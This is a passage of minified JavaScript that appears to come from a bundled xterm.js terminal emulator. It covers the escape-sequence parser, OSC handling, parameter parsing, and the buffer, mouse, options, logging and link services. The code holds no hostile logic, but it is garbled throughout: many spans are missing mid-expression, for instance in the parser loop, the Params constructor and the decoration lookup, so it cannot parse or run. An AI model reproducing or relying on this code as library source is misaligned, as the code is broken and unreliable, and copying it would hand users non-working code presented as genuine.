this._oscParser.registerHandler(y,b)}clearOscHandler(y){this._oscParser.clearHandler(y)}setOscHandlerFallback(y){this._oscParser.setHandlerFallback(y)}setErrorHandler(y){this._errorHandler=y}clearErrorHandler(){this._errorHandler=this._errorHandlerFb}reset(){this.currentState=this.initialState,this._oscParser.reset(),this._dcsParser.reset(),this._params.reset(),this._params.addParam(0),this._collect=0,this.precedingCodepoint=0,this._parseStack.state!==0&&(this._parseStack.state=2,this._parseStack.handlers=[])}_preserveStack(y,b,_,w,S){this._parseStack.state=y,this._parseStack.handlers=b,this._parseStack.handlerPos=_,this._parseStack.transition=w,this._parseStack.chunkPos=S}parse(y,b,_){let w,S=0,C=0,T=0;if(this._parseStack.state)if(this._parseStack.state===2)this._parseStack.state=0,T=this._parseStack.chunkPos+1;else{if(_===void 0||this._parseStack.state===1)throw this._parseStack.state=1,new Error("improper continuation due to previous async handler, giving up parsing");const k=this._parseStack.handlers;let A=this._parseStack.handlerPos-1;switch(this._parseStack.state){case 3:if(_===!1&&A>-1){for(;A>=0&&(w=k[A](this._params),w!==!0);A--)if(w instanceof Promise)return this._parseStack.handlerPos=A,w}this._parseStack.handlers=[];break;case 4:if(_===!1&&A>-1){for(;A>=0&&(w=k[A](),w!==!0);A--)if(w instanceof Promise)return this._parseStack.handlerPos=A,w}this._parseStack.handlers=[];break;case 6:if(S=y[this._parseStack.chunkPos],w=this._dcsParser.unhook(S!==24&&S!==26,_),w)return w;S===27&&(this._parseStack.transition|=1),this._params.reset(),this._params.addParam(0),this._collect=0;break;case 5:if(S=y[this._parseStack.chunkPos],w=this._oscParser.end(S!==24&&S!==26,_),w)return w;S===27&&(this._parseStack.transition|=1),this._params.reset(),this._params.addParam(0),this._collect=0}this._parseStack.state=0,T=this._parseStack.chunkPos+1,this.precedingCodepoint=0,this.currentState=15&this._parseStack.transition}for(let k=T;k>4){case 2:for(let L=k+1;;++L){if(L>=b||(S=y[L])<32||S>126&&S=b||(S=y[L])<32||S>126&&S=b||(S=y[L])<32||S>126&&S=b||(S=y[L])<32||S>126&&S=0&&(w=A[M](this._params),w!==!0);M--)if(w instanceof Promise)return this._preserveStack(3,A,M,C,k),w;M<0&&this._csiHandlerFb(this._collect<<8|S,this._params),this.precedingCodepoint=0;break;case 8:do switch(S){case 59:this._params.addParam(0);break;case 58:this._params.addSubParam(-1);break;default:this._params.addDigit(S-48)}while(++k47&&S<60);k--;break;case 9:this._collect<<=8,this._collect|=S;break;case 10:const R=this._escHandlers[this._collect<<8|S];let P=R?R.length-1:-1;for(;P>=0&&(w=R[P](),w!==!0);P--)if(w instanceof Promise)return this._preserveStack(4,R,P,C,k),w;P<0&&this._escHandlerFb(this._collect<<8|S),this.precedingCodepoint=0;break;case 11:this._params.reset(),this._params.addParam(0),this._collect=0;break;case 12:this._dcsParser.hook(this._collect<<8|S,this._params);break;case 13:for(let L=k+1;;++L)if(L>=b||(S=y[L])===24||S===26||S===27||S>127&&S=b||(S=y[L])<32||S>127&&S{Object.defineProperty(a,"__esModule",{value:!0}),a.OscHandler=a.OscParser=void 0;const l=c(5770),u=c(482),h=[];a.OscParser=class{constructor(){this._state=0,this._active=h,this._id=-1,this._handlers=Object.create(null),this._handlerFb=()=>{},this._stack={paused:!1,loopPosition:0,fallThrough:!1}}registerHandler(d,p){this._handlers[d]===void 0&&(this._handlers[d]=[]);const m=this._handlers[d];return m.push(p),{dispose:()=>{const v=m.indexOf(p);v!==-1&&m.splice(v,1)}}}clearHandler(d){this._handlers[d]&&delete this._handlers[d]}setHandlerFallback(d){this._handlerFb=d}dispose(){this._handlers=Object.create(null),this._handlerFb=()=>{},this._active=h}reset(){if(this._state===2)for(let d=this._stack.paused?this._stack.loopPosition-1:this._active.length-1;d>=0;--d)this._active[d].end(!1);this._stack.paused=!1,this._active=h,this._id=-1,this._state=0}_start(){if(this._active=this._handlers[this._id]||h,this._active.length)for(let d=this._active.length-1;d>=0;d--)this._active[d].start();else this._handlerFb(this._id,"START")}_put(d,p,m){if(this._active.length)for(let v=this._active.length-1;v>=0;v--)this._active[v].put(d,p,m);else this._handlerFb(this._id,"PUT",(0,u.utf32ToString)(d,p,m))}start(){this.reset(),this._state=1}put(d,p,m){if(this._state!==3){if(this._state===1)for(;p0&&this._put(d,p,m)}}end(d,p=!0){if(this._state!==0){if(this._state!==3)if(this._state===1&&this._start(),this._active.length){let m=!1,v=this._active.length-1,g=!1;if(this._stack.paused&&(v=this._stack.loopPosition-1,m=p,g=this._stack.fallThrough,this._stack.paused=!1),!g&&m===!1){for(;v>=0&&(m=this._active[v].end(d),m!==!0);v--)if(m instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=v,this._stack.fallThrough=!1,m;v--}for(;v>=0;v--)if(m=this._active[v].end(!1),m instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=v,this._stack.fallThrough=!0,m}else this._handlerFb(this._id,"END",d);this._active=h,this._id=-1,this._state=0}}},a.OscHandler=class{constructor(d){this._handler=d,this._data="",this._hitLimit=!1}start(){this._data="",this._hitLimit=!1}put(d,p,m){this._hitLimit||(this._data+=(0,u.utf32ToString)(d,p,m),this._data.length>l.PAYLOAD_LIMIT&&(this._data="",this._hitLimit=!0))}end(d){let p=!1;if(this._hitLimit)p=!1;else if(d&&(p=this._handler(this._data),p instanceof Promise))return p.then(m=>(this._data="",this._hitLimit=!1,m));return this._data="",this._hitLimit=!1,p}}},8742:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.Params=void 0;const c=2147483647;class l{static fromArray(h){const d=new l;if(!h.length)return d;for(let p=Array.isArray(h[0])?1:0;p256)throw new Error("maxSubParamsLength must not be greater than 256");this.params=new Int32Array(h),this.length=0,this._subParams=new Int32Array(d),this._subParamsLength=0,this._subParamsIdx=new Uint16Array(h),this._rejectDigits=!1,this._rejectSubDigits=!1,this._digitIsSub=!1}clone(){const h=new l(this.maxLength,this.maxSubParamsLength);return h.params.set(this.params),h.length=this.length,h._subParams.set(this._subParams),h._subParamsLength=this._subParamsLength,h._subParamsIdx.set(this._subParamsIdx),h._rejectDigits=this._rejectDigits,h._rejectSubDigits=this._rejectSubDigits,h._digitIsSub=this._digitIsSub,h}toArray(){const h=[];for(let d=0;d>8,m=255&this._subParamsIdx[d];m-p>0&&h.push(Array.prototype.slice.call(this._subParams,p,m))}return h}reset(){this.length=0,this._subParamsLength=0,this._rejectDigits=!1,this._rejectSubDigits=!1,this._digitIsSub=!1}addParam(h){if(this._digitIsSub=!1,this.length>=this.maxLength)this._rejectDigits=!0;else{if(h<-1)throw new Error("values lesser than -1 are not allowed");this._subParamsIdx[this.length]=this._subParamsLength<<8|this._subParamsLength,this.params[this.length++]=h>c?c:h}}addSubParam(h){if(this._digitIsSub=!0,this.length)if(this._rejectDigits||this._subParamsLength>=this.maxSubParamsLength)this._rejectSubDigits=!0;else{if(h<-1)throw new Error("values lesser than -1 are not allowed");this._subParams[this._subParamsLength++]=h>c?c:h,this._subParamsIdx[this.length-1]++}}hasSubParams(h){return(255&this._subParamsIdx[h])-(this._subParamsIdx[h]>>8)>0}getSubParams(h){const d=this._subParamsIdx[h]>>8,p=255&this._subParamsIdx[h];return p-d>0?this._subParams.subarray(d,p):null}getSubParamsAll(){const h={};for(let d=0;d>8,m=255&this._subParamsIdx[d];m-p>0&&(h[d]=this._subParams.slice(p,m))}return h}addDigit(h){let d;if(this._rejectDigits||!(d=this._digitIsSub?this._subParamsLength:this.length)||this._digitIsSub&&this._rejectSubDigits)return;const p=this._digitIsSub?this._subParams:this.params,m=p[d-1];p[d-1]=~m?Math.min(10*m+h,c):h}}a.Params=l},5741:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.AddonManager=void 0,a.AddonManager=class{constructor(){this._addons=[]}dispose(){for(let c=this._addons.length-1;c>=0;c--)this._addons[c].instance.dispose()}loadAddon(c,l){const u={instance:l,dispose:l.dispose,isDisposed:!1};this._addons.push(u),l.dispose=()=>this._wrappedAddonDispose(u),l.activate(c)}_wrappedAddonDispose(c){if(c.isDisposed)return;let l=-1;for(let u=0;u{Object.defineProperty(a,"__esModule",{value:!0}),a.BufferApiView=void 0;const l=c(3785),u=c(511);a.BufferApiView=class{constructor(h,d){this._buffer=h,this.type=d}init(h){return this._buffer=h,this}get cursorY(){return this._buffer.y}get cursorX(){return this._buffer.x}get viewportY(){return this._buffer.ydisp}get baseY(){return this._buffer.ybase}get length(){return this._buffer.lines.length}getLine(h){const d=this._buffer.lines.get(h);if(d)return new l.BufferLineApiView(d)}getNullCell(){return new u.CellData}}},3785:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.BufferLineApiView=void 0;const l=c(511);a.BufferLineApiView=class{constructor(u){this._line=u}get isWrapped(){return this._line.isWrapped}get length(){return this._line.length}getCell(u,h){if(!(u<0||u>=this._line.length))return h?(this._line.loadCell(u,h),h):this._line.loadCell(u,new l.CellData)}translateToString(u,h,d){return this._line.translateToString(u,h,d)}}},8285:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.BufferNamespaceApi=void 0;const l=c(8771),u=c(8460),h=c(844);class d extends h.Disposable{constructor(m){super(),this._core=m,this._onBufferChange=this.register(new u.EventEmitter),this.onBufferChange=this._onBufferChange.event,this._normal=new l.BufferApiView(this._core.buffers.normal,"normal"),this._alternate=new l.BufferApiView(this._core.buffers.alt,"alternate"),this._core.buffers.onBufferActivate(()=>this._onBufferChange.fire(this.active))}get active(){if(this._core.buffers.active===this._core.buffers.normal)return this.normal;if(this._core.buffers.active===this._core.buffers.alt)return this.alternate;throw new Error("Active buffer is neither normal nor alternate")}get normal(){return this._normal.init(this._core.buffers.normal)}get alternate(){return this._alternate.init(this._core.buffers.alt)}}a.BufferNamespaceApi=d},7975:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.ParserApi=void 0,a.ParserApi=class{constructor(c){this._core=c}registerCsiHandler(c,l){return this._core.registerCsiHandler(c,u=>l(u.toArray()))}addCsiHandler(c,l){return this.registerCsiHandler(c,l)}registerDcsHandler(c,l){return this._core.registerDcsHandler(c,(u,h)=>l(u,h.toArray()))}addDcsHandler(c,l){return this.registerDcsHandler(c,l)}registerEscHandler(c,l){return this._core.registerEscHandler(c,l)}addEscHandler(c,l){return this.registerEscHandler(c,l)}registerOscHandler(c,l){return this._core.registerOscHandler(c,l)}addOscHandler(c,l){return this.registerOscHandler(c,l)}}},7090:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.UnicodeApi=void 0,a.UnicodeApi=class{constructor(c){this._core=c}register(c){this._core.unicodeService.register(c)}get versions(){return this._core.unicodeService.versions}get activeVersion(){return this._core.unicodeService.activeVersion}set activeVersion(c){this._core.unicodeService.activeVersion=c}}},744:function(o,a,c){var l=this&&this.__decorate||function(g,y,b,_){var w,S=arguments.length,C=S<3?y:_===null?_=Object.getOwnPropertyDescriptor(y,b):_;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")C=Reflect.decorate(g,y,b,_);else for(var T=g.length-1;T>=0;T--)(w=g[T])&&(C=(S<3?w(C):S>3?w(y,b,C):w(y,b))||C);return S>3&&C&&Object.defineProperty(y,b,C),C},u=this&&this.__param||function(g,y){return function(b,_){y(b,_,g)}};Object.defineProperty(a,"__esModule",{value:!0}),a.BufferService=a.MINIMUM_ROWS=a.MINIMUM_COLS=void 0;const h=c(8460),d=c(844),p=c(5295),m=c(2585);a.MINIMUM_COLS=2,a.MINIMUM_ROWS=1;let v=a.BufferService=class extends d.Disposable{get buffer(){return this.buffers.active}constructor(g){super(),this.isUserScrolling=!1,this._onResize=this.register(new h.EventEmitter),this.onResize=this._onResize.event,this._onScroll=this.register(new h.EventEmitter),this.onScroll=this._onScroll.event,this.cols=Math.max(g.rawOptions.cols||0,a.MINIMUM_COLS),this.rows=Math.max(g.rawOptions.rows||0,a.MINIMUM_ROWS),this.buffers=this.register(new p.BufferSet(g,this))}resize(g,y){this.cols=g,this.rows=y,this.buffers.resize(g,y),this._onResize.fire({cols:g,rows:y})}reset(){this.buffers.reset(),this.isUserScrolling=!1}scroll(g,y=!1){const b=this.buffer;let _;_=this._cachedBlankLine,_&&_.length===this.cols&&_.getFg(0)===g.fg&&_.getBg(0)===g.bg||(_=b.getBlankLine(g,y),this._cachedBlankLine=_),_.isWrapped=y;const w=b.ybase+b.scrollTop,S=b.ybase+b.scrollBottom;if(b.scrollTop===0){const C=b.lines.isFull;S===b.lines.length-1?C?b.lines.recycle().copyFrom(_):b.lines.push(_.clone()):b.lines.splice(S+1,0,_.clone()),C?this.isUserScrolling&&(b.ydisp=Math.max(b.ydisp-1,0)):(b.ybase++,this.isUserScrolling||b.ydisp++)}else{const C=S-w+1;b.lines.shiftElements(w+1,C-1,-1),b.lines.set(S,_.clone())}this.isUserScrolling||(b.ydisp=b.ybase),this._onScroll.fire(b.ydisp)}scrollLines(g,y,b){const _=this.buffer;if(g<0){if(_.ydisp===0)return;this.isUserScrolling=!0}else g+_.ydisp>=_.ybase&&(this.isUserScrolling=!1);const w=_.ydisp;_.ydisp=Math.max(Math.min(_.ydisp+g,_.ybase),0),w!==_.ydisp&&(y||this._onScroll.fire(_.ydisp))}};a.BufferService=v=l([u(0,m.IOptionsService)],v)},7994:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.CharsetService=void 0,a.CharsetService=class{constructor(){this.glevel=0,this._charsets=[]}reset(){this.charset=void 0,this._charsets=[],this.glevel=0}setgLevel(c){this.glevel=c,this.charset=this._charsets[c]}setgCharset(c,l){this._charsets[c]=l,this.glevel===c&&(this.charset=l)}}},1753:function(o,a,c){var l=this&&this.__decorate||function(_,w,S,C){var T,k=arguments.length,A=k<3?w:C===null?C=Object.getOwnPropertyDescriptor(w,S):C;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")A=Reflect.decorate(_,w,S,C);else for(var M=_.length-1;M>=0;M--)(T=_[M])&&(A=(k<3?T(A):k>3?T(w,S,A):T(w,S))||A);return k>3&&A&&Object.defineProperty(w,S,A),A},u=this&&this.__param||function(_,w){return function(S,C){w(S,C,_)}};Object.defineProperty(a,"__esModule",{value:!0}),a.CoreMouseService=void 0;const h=c(2585),d=c(8460),p=c(844),m={NONE:{events:0,restrict:()=>!1},X10:{events:1,restrict:_=>_.button!==4&&_.action===1&&(_.ctrl=!1,_.alt=!1,_.shift=!1,!0)},VT200:{events:19,restrict:_=>_.action!==32},DRAG:{events:23,restrict:_=>_.action!==32||_.button!==3},ANY:{events:31,restrict:_=>!0}};function v(_,w){let S=(_.ctrl?16:0)|(_.shift?4:0)|(_.alt?8:0);return _.button===4?(S|=64,S|=_.action):(S|=3&_.button,4&_.button&&(S|=64),8&_.button&&(S|=128),_.action===32?S|=32:_.action!==0||w||(S|=3)),S}const g=String.fromCharCode,y={DEFAULT:_=>{const w=[v(_,!1)+32,_.col+32,_.row+32];return w[0]>255||w[1]>255||w[2]>255?"":`\x1B[M${g(w[0])}${g(w[1])}${g(w[2])}`},SGR:_=>{const w=_.action===0&&_.button!==4?"m":"M";return`\x1B[<${v(_,!0)};${_.col};${_.row}${w}`},SGR_PIXELS:_=>{const w=_.action===0&&_.button!==4?"m":"M";return`\x1B[<${v(_,!0)};${_.x};${_.y}${w}`}};let b=a.CoreMouseService=class extends p.Disposable{constructor(_,w){super(),this._bufferService=_,this._coreService=w,this._protocols={},this._encodings={},this._activeProtocol="",this._activeEncoding="",this._lastEvent=null,this._onProtocolChange=this.register(new d.EventEmitter),this.onProtocolChange=this._onProtocolChange.event;for(const S of Object.keys(m))this.addProtocol(S,m[S]);for(const S of Object.keys(y))this.addEncoding(S,y[S]);this.reset()}addProtocol(_,w){this._protocols[_]=w}addEncoding(_,w){this._encodings[_]=w}get activeProtocol(){return this._activeProtocol}get areMouseEventsActive(){return this._protocols[this._activeProtocol].events!==0}set activeProtocol(_){if(!this._protocols[_])throw new Error(`unknown protocol "${_}"`);this._activeProtocol=_,this._onProtocolChange.fire(this._protocols[_].events)}get activeEncoding(){return this._activeEncoding}set activeEncoding(_){if(!this._encodings[_])throw new Error(`unknown encoding "${_}"`);this._activeEncoding=_}reset(){this.activeProtocol="NONE",this.activeEncoding="DEFAULT",this._lastEvent=null}triggerMouseEvent(_){if(_.col<0||_.col>=this._bufferService.cols||_.row<0||_.row>=this._bufferService.rows||_.button===4&&_.action===32||_.button===3&&_.action!==32||_.button!==4&&(_.action===2||_.action===3)||(_.col++,_.row++,_.action===32&&this._lastEvent&&this._equalEvents(this._lastEvent,_,this._activeEncoding==="SGR_PIXELS"))||!this._protocols[this._activeProtocol].restrict(_))return!1;const w=this._encodings[this._activeEncoding](_);return w&&(this._activeEncoding==="DEFAULT"?this._coreService.triggerBinaryEvent(w):this._coreService.triggerDataEvent(w,!0)),this._lastEvent=_,!0}explainEvents(_){return{down:!!(1&_),up:!!(2&_),drag:!!(4&_),move:!!(8&_),wheel:!!(16&_)}}_equalEvents(_,w,S){if(S){if(_.x!==w.x||_.y!==w.y)return!1}else if(_.col!==w.col||_.row!==w.row)return!1;return _.button===w.button&&_.action===w.action&&_.ctrl===w.ctrl&&_.alt===w.alt&&_.shift===w.shift}};a.CoreMouseService=b=l([u(0,h.IBufferService),u(1,h.ICoreService)],b)},6975:function(o,a,c){var l=this&&this.__decorate||function(b,_,w,S){var C,T=arguments.length,k=T<3?_:S===null?S=Object.getOwnPropertyDescriptor(_,w):S;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")k=Reflect.decorate(b,_,w,S);else for(var A=b.length-1;A>=0;A--)(C=b[A])&&(k=(T<3?C(k):T>3?C(_,w,k):C(_,w))||k);return T>3&&k&&Object.defineProperty(_,w,k),k},u=this&&this.__param||function(b,_){return function(w,S){_(w,S,b)}};Object.defineProperty(a,"__esModule",{value:!0}),a.CoreService=void 0;const h=c(1439),d=c(8460),p=c(844),m=c(2585),v=Object.freeze({insertMode:!1}),g=Object.freeze({applicationCursorKeys:!1,applicationKeypad:!1,bracketedPasteMode:!1,origin:!1,reverseWraparound:!1,sendFocus:!1,wraparound:!0});let y=a.CoreService=class extends p.Disposable{constructor(b,_,w){super(),this._bufferService=b,this._logService=_,this._optionsService=w,this.isCursorInitialized=!1,this.isCursorHidden=!1,this._onData=this.register(new d.EventEmitter),this.onData=this._onData.event,this._onUserInput=this.register(new d.EventEmitter),this.onUserInput=this._onUserInput.event,this._onBinary=this.register(new d.EventEmitter),this.onBinary=this._onBinary.event,this._onRequestScrollToBottom=this.register(new d.EventEmitter),this.onRequestScrollToBottom=this._onRequestScrollToBottom.event,this.modes=(0,h.clone)(v),this.decPrivateModes=(0,h.clone)(g)}reset(){this.modes=(0,h.clone)(v),this.decPrivateModes=(0,h.clone)(g)}triggerDataEvent(b,_=!1){if(this._optionsService.rawOptions.disableStdin)return;const w=this._bufferService.buffer;_&&this._optionsService.rawOptions.scrollOnUserInput&&w.ybase!==w.ydisp&&this._onRequestScrollToBottom.fire(),_&&this._onUserInput.fire(),this._logService.debug(`sending data "${b}"`,()=>b.split("").map(S=>S.charCodeAt(0))),this._onData.fire(b)}triggerBinaryEvent(b){this._optionsService.rawOptions.disableStdin||(this._logService.debug(`sending binary "${b}"`,()=>b.split("").map(_=>_.charCodeAt(0))),this._onBinary.fire(b))}};a.CoreService=y=l([u(0,m.IBufferService),u(1,m.ILogService),u(2,m.IOptionsService)],y)},9074:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.DecorationService=void 0;const l=c(8055),u=c(8460),h=c(844),d=c(6106);let p=0,m=0;class v extends h.Disposable{get decorations(){return this._decorations.values()}constructor(){super(),this._decorations=new d.SortedList(b=>b==null?void 0:b.marker.line),this._onDecorationRegistered=this.register(new u.EventEmitter),this.onDecorationRegistered=this._onDecorationRegistered.event,this._onDecorationRemoved=this.register(new u.EventEmitter),this.onDecorationRemoved=this._onDecorationRemoved.event,this.register((0,h.toDisposable)(()=>this.reset()))}registerDecoration(b){if(b.marker.isDisposed)return;const _=new g(b);if(_){const w=_.marker.onDispose(()=>_.dispose());_.onDispose(()=>{_&&(this._decorations.delete(_)&&this._onDecorationRemoved.fire(_),w.dispose())}),this._decorations.insert(_),this._onDecorationRegistered.fire(_)}return _}reset(){for(const b of this._decorations.values())b.dispose();this._decorations.clear()}*getDecorationsAtCell(b,_,w){var S,C,T;let k=0,A=0;for(const M of this._decorations.getKeyIterator(_))k=(S=M.options.x)!==null&&S!==void 0?S:0,A=k+((C=M.options.width)!==null&&C!==void 0?C:1),b>=k&&b{var T,k,A;p=(T=C.options.x)!==null&&T!==void 0?T:0,m=p+((k=C.options.width)!==null&&k!==void 0?k:1),b>=p&&b{Object.defineProperty(a,"__esModule",{value:!0}),a.InstantiationService=a.ServiceCollection=void 0;const l=c(2585),u=c(8343);class h{constructor(...p){this._entries=new Map;for(const[m,v]of p)this.set(m,v)}set(p,m){const v=this._entries.get(p);return this._entries.set(p,m),v}forEach(p){for(const[m,v]of this._entries.entries())p(m,v)}has(p){return this._entries.has(p)}get(p){return this._entries.get(p)}}a.ServiceCollection=h,a.InstantiationService=class{constructor(){this._services=new h,this._services.set(l.IInstantiationService,this)}setService(d,p){this._services.set(d,p)}getService(d){return this._services.get(d)}createInstance(d,...p){const m=(0,u.getServiceDependencies)(d).sort((y,b)=>y.index-b.index),v=[];for(const y of m){const b=this._services.get(y.id);if(!b)throw new Error(`[createInstance] ${d.name} depends on UNKNOWN service ${y.id}.`);v.push(b)}const g=m.length>0?m[0].index:p.length;if(p.length!==g)throw new Error(`[createInstance] First service dependency of ${d.name} at position ${g+1} conflicts with ${p.length} static arguments`);return new d(...p,...v)}}},7866:function(o,a,c){var l=this&&this.__decorate||function(g,y,b,_){var w,S=arguments.length,C=S<3?y:_===null?_=Object.getOwnPropertyDescriptor(y,b):_;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")C=Reflect.decorate(g,y,b,_);else for(var T=g.length-1;T>=0;T--)(w=g[T])&&(C=(S<3?w(C):S>3?w(y,b,C):w(y,b))||C);return S>3&&C&&Object.defineProperty(y,b,C),C},u=this&&this.__param||function(g,y){return function(b,_){y(b,_,g)}};Object.defineProperty(a,"__esModule",{value:!0}),a.traceCall=a.setTraceLogger=a.LogService=void 0;const h=c(844),d=c(2585),p={trace:d.LogLevelEnum.TRACE,debug:d.LogLevelEnum.DEBUG,info:d.LogLevelEnum.INFO,warn:d.LogLevelEnum.WARN,error:d.LogLevelEnum.ERROR,off:d.LogLevelEnum.OFF};let m,v=a.LogService=class extends h.Disposable{get logLevel(){return this._logLevel}constructor(g){super(),this._optionsService=g,this._logLevel=d.LogLevelEnum.OFF,this._updateLogLevel(),this.register(this._optionsService.onSpecificOptionChange("logLevel",()=>this._updateLogLevel())),m=this}_updateLogLevel(){this._logLevel=p[this._optionsService.rawOptions.logLevel]}_evalLazyOptionalParams(g){for(let y=0;yJSON.stringify(C)).join(", ")})`);const S=_.apply(this,w);return m.trace(`GlyphRenderer#${_.name} return`,S),S}}},7302:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.OptionsService=a.DEFAULT_OPTIONS=void 0;const l=c(8460),u=c(844),h=c(6114);a.DEFAULT_OPTIONS={cols:80,rows:24,cursorBlink:!1,cursorStyle:"block",cursorWidth:1,cursorInactiveStyle:"outline",customGlyphs:!0,drawBoldTextInBrightColors:!0,fastScrollModifier:"alt",fastScrollSensitivity:5,fontFamily:"courier-new, courier, monospace",fontSize:15,fontWeight:"normal",fontWeightBold:"bold",ignoreBracketedPasteMode:!1,lineHeight:1,letterSpacing:0,linkHandler:null,logLevel:"info",logger:null,scrollback:1e3,scrollOnUserInput:!0,scrollSensitivity:1,screenReaderMode:!1,smoothScrollDuration:0,macOptionIsMeta:!1,macOptionClickForcesSelection:!1,minimumContrastRatio:1,disableStdin:!1,allowProposedApi:!1,allowTransparency:!1,tabStopWidth:8,theme:{},rightClickSelectsWord:h.isMac,windowOptions:{},windowsMode:!1,windowsPty:{},wordSeparator:" ()[]{}',\"`",altClickMovesCursor:!0,convertEol:!1,termName:"xterm",cancelEvents:!1,overviewRulerWidth:0};const d=["normal","bold","100","200","300","400","500","600","700","800","900"];class p extends u.Disposable{constructor(v){super(),this._onOptionChange=this.register(new l.EventEmitter),this.onOptionChange=this._onOptionChange.event;const g=Object.assign({},a.DEFAULT_OPTIONS);for(const y in v)if(y in g)try{const b=v[y];g[y]=this._sanitizeAndValidateOption(y,b)}catch(b){console.error(b)}this.rawOptions=g,this.options=Object.assign({},g),this._setupOptions()}onSpecificOptionChange(v,g){return this.onOptionChange(y=>{y===v&&g(this.rawOptions[v])})}onMultipleOptionChange(v,g){return this.onOptionChange(y=>{v.indexOf(y)!==-1&&g()})}_setupOptions(){const v=y=>{if(!(y in a.DEFAULT_OPTIONS))throw new Error(`No option with key "${y}"`);return this.rawOptions[y]},g=(y,b)=>{if(!(y in a.DEFAULT_OPTIONS))throw new Error(`No option with key "${y}"`);b=this._sanitizeAndValidateOption(y,b),this.rawOptions[y]!==b&&(this.rawOptions[y]=b,this._onOptionChange.fire(y))};for(const y in this.rawOptions){const b={get:v.bind(this,y),set:g.bind(this,y)};Object.defineProperty(this.options,y,b)}}_sanitizeAndValidateOption(v,g){switch(v){case"cursorStyle":if(g||(g=a.DEFAULT_OPTIONS[v]),!function(y){return y==="block"||y==="underline"||y==="bar"}(g))throw new Error(`"${g}" is not a valid value for ${v}`);break;case"wordSeparator":g||(g=a.DEFAULT_OPTIONS[v]);break;case"fontWeight":case"fontWeightBold":if(typeof g=="number"&&1<=g&&g<=1e3)break;g=d.includes(g)?g:a.DEFAULT_OPTIONS[v];break;case"cursorWidth":g=Math.floor(g);case"lineHeight":case"tabStopWidth":if(g<1)throw new Error(`${v} cannot be less than 1, value: ${g}`);break;case"minimumContrastRatio":g=Math.max(1,Math.min(21,Math.round(10*g)/10));break;case"scrollback":if((g=Math.min(g,4294967295))<0)throw new Error(`${v} cannot be less than 0, value: ${g}`);break;case"fastScrollSensitivity":case"scrollSensitivity":if(g<=0)throw new Error(`${v} cannot be less than or equal to 0, value: ${g}`);break;case"rows":case"cols":if(!g&&g!==0)throw new Error(`${v} must be numeric, value: ${g}`);break;case"windowsPty":g=g??{}}return g}}a.OptionsService=p},2660:function(o,a,c){var l=this&&this.__decorate||function(p,m,v,g){var y,b=arguments.length,_=b<3?m:g===null?g=Object.getOwnPropertyDescriptor(m,v):g;if(typeof Reflect=="object"&&typeof Reflect.decorate=="function")_=Reflect.decorate(p,m,v,g);else for(var w=p.length-1;w>=0;w--)(y=p[w])&&(_=(b<3?y(_):b>3?y(m,v,_):y(m,v))||_);return b>3&&_&&Object.defineProperty(m,v,_),_},u=this&&this.__param||function(p,m){return function(v,g){m(v,g,p)}};Object.defineProperty(a,"__esModule",{value:!0}),a.OscLinkService=void 0;const h=c(2585);let d=a.OscLinkService=class{constructor(p){this._bufferService=p,this._nextId=1,this._entriesWithId=new Map,this._dataByLinkId=new Map}registerLink(p){const m=this._bufferService.buffer;if(p.id===void 0){const w=m.addMarker(m.ybase+m.y),S={data:p,id:this._nextId++,lines:[w]};return w.onDispose(()=>this._removeMarkerFromLink(S,w)),this._dataByLinkId.set(S.id,S),S.id}const v=p,g=this._getEntryIdKey(v),y=this._entriesWithId.get(g);if(y)return this.addLineToLink(y.id,m.ybase+m.y),y.id;const b=m.addMarker(m.ybase+m.y),_={id:this._nextId++,key:this._getEntryIdKey(v),data:v,lines:[b]};return b.onDispose(()=>this._removeMarkerFromLink(_,b)),this._entriesWithId.set(_.key,_),this._dataByLinkId.set(_.id,_),_.id}addLineToLink(p,m){const v=this._dataByLinkId.get(p);if(v&&v.lines.every(g=>g.line!==m)){const g=this._bufferService.buffer.addMarker(m);v.lines.push(g),g.onDispose(()=>this._removeMarkerFromLink(v,g))}}getLinkData(p){var m;return(m=this._dataByLinkId.get(p))===null||m===void 0?void 0:m.data}_getEntryIdKey(p){return`${p.id};;${p.uri}`}_removeMarkerFromLink(p,m){const v=p.lines.indexOf(m);v!==-1&&(p.lines.splice(v,1),p.lines.length===0&&(p.data.id!==void 0&&this._entriesWithId.delete(p.key),this._dataByLinkId.delete(p.id)))}};a.OscLinkService=d=l([u(0,h.IBufferService)],d)},8343:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.createDecorator=a.getServiceDependencies=a.serviceRegistry=void 0;const c="di$target",l="di$dependencies";a.serviceRegistry=new Map,a.getServiceDependencies=function(u){return u[l]||[]},a.createDecorator=function(u){if(a.serviceRegistry.has(u))return a.serviceRegistry.get(u);const h=function(d,p,m){if(arguments.length!==3)throw new Error("@IServiceName-decorator can only be used to decorate a parameter");(function(v,g,y){g[c]===g?g[l].push({id:v,index:y}):(g[l]=[{id:v,index:y}],g[c]=g)})(h,d,m)};return h.toString=()=>u,a.serviceRegistry.set(u,h),h}},2585:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.IDecorationService=a.IUnicodeService=a.IOscLinkService=a.IOptionsService=a.ILogService=a.LogLevelEnum=a.IInstantiationService=a.ICharsetService=a.ICoreService=a.ICoreMouseService=a.IBufferService=void 0;const l=c(8343);var 